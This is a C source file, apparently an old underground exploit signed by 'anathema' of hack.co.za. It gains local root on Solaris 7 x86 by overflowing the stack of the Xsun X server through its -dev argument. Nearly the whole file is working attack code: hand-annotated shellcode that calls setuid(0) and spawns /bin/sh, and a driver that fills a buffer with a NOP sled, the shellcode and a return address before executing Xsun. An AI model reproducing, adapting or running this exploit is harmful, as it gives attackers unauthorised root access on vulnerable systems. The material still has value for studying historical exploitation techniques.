/*
 *  PRIVATE. DO NOT DISTRIBUTE.
 *
 *  Xsun (solaris 7 x86) local root stack overflow.
 *  by anathema <anathema@hack.co.za>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RETPOS    3217
#define OFFSET    6000

char c0de[] = 
/* main: */
"\xeb\x0a"                        /* jmp ahead */
/* a_lcall: */
"\x9a\x78\x78\x78\x5c\x07\x78"    /* lcall */
"\xc3"                            /* ret */
/* jmp_0: */
"\xeb\x05"                        /* jmp start_0 */
/* ahead: */
"\xe8\xf9\xff\xff\xff"            /* call jmp_0 */
/* start_0: */  /* setuid(0); - yes, this is necessary */
"\x5e"                            /* popl %esi */
"\x2b\xc0"                        /* subl %eax, %eax */
"\x88\x46\xf7"                    /* movb %al, 0xfffffff7(%esi) */
"\x89\x46\xf2"                    /* movl %eax, 0xfffffff2(%esi) */
"\x50"                            /* pushl %eax */
"\xb0\x17"                        /* movb $0x17, %al */
"\xe8\xe0\xff\xff\xff"            /* call a_lcall */
"\xeb\x1f"                        /* jmp callz */
/* start: */  /* execve /bin/sh */
"\x5e"                            /* popl %esi */
"\x8d\x1e"                        /* leal (%esi), %ebx */
"\x89\x5e\x0b"                    /* movl %ebx, 0x0b(%esi) */
"\x2b\xc0"                        /* subl %eax, %eax */
"\x88\x46\x19"                    /* movb %al, 0x19(%esi) */
"\x89\x46\x14"                    /* movl %eax, 0x14(%esi) */
"\x89\x46\x0f"                    /* movl %eax, 0x0f(%esi) */
"\x89\x46\x07"                    /* movl %eax, 0x07(%esi) */
"\xb0\x3b"                        /* movb $0x3b, %al */
"\x8d\x4e\x0b"                    /* leal 0x0b(%esi), %ecx */
"\x51"                            /* pushl %ecx */
"\x51"                            /* pushl %ecx */
"\x53"                            /* pushl %ebx */
"\x50"                            /* pushl %eax */
"\xeb\x18"                        /* jmp lcall */
/* callz: */
"\xe8\xdc\xff\xff\xff"            /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68"    /* /bin/sh */
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";   /* lcall */

int
main(int argc, char **argv)
{
    u_char buf[8192]  = {0};
    u_long addr       = &addr;
    int ret = RETPOS, i = 0;

    fprintf(stderr, "Xsun local root overflow, solaris 7 x86\n"
      "Copyright (c) anathema <anathema@box.co.uk>\n\n");
    
    if (argc > 1) addr += atoi(argv[1]);
    else addr += OFFSET;
    fprintf(stderr, "-> 0x%lx\n", addr);
    
    buf[0] = ':';
    memset(buf + 1, 0x90, ret);
    memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));
    
    buf[ret++] = (addr & 0xff);
    buf[ret++] = (addr >> 8) & 0xff;
    buf[ret++] = (addr >> 16) & 0xff;
    buf[ret++] = (addr >> 24) & 0xff;
    
    execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buf, NULL);
    perror("execl");
}

/* EOF */
/*                    www.hack.co.za                    */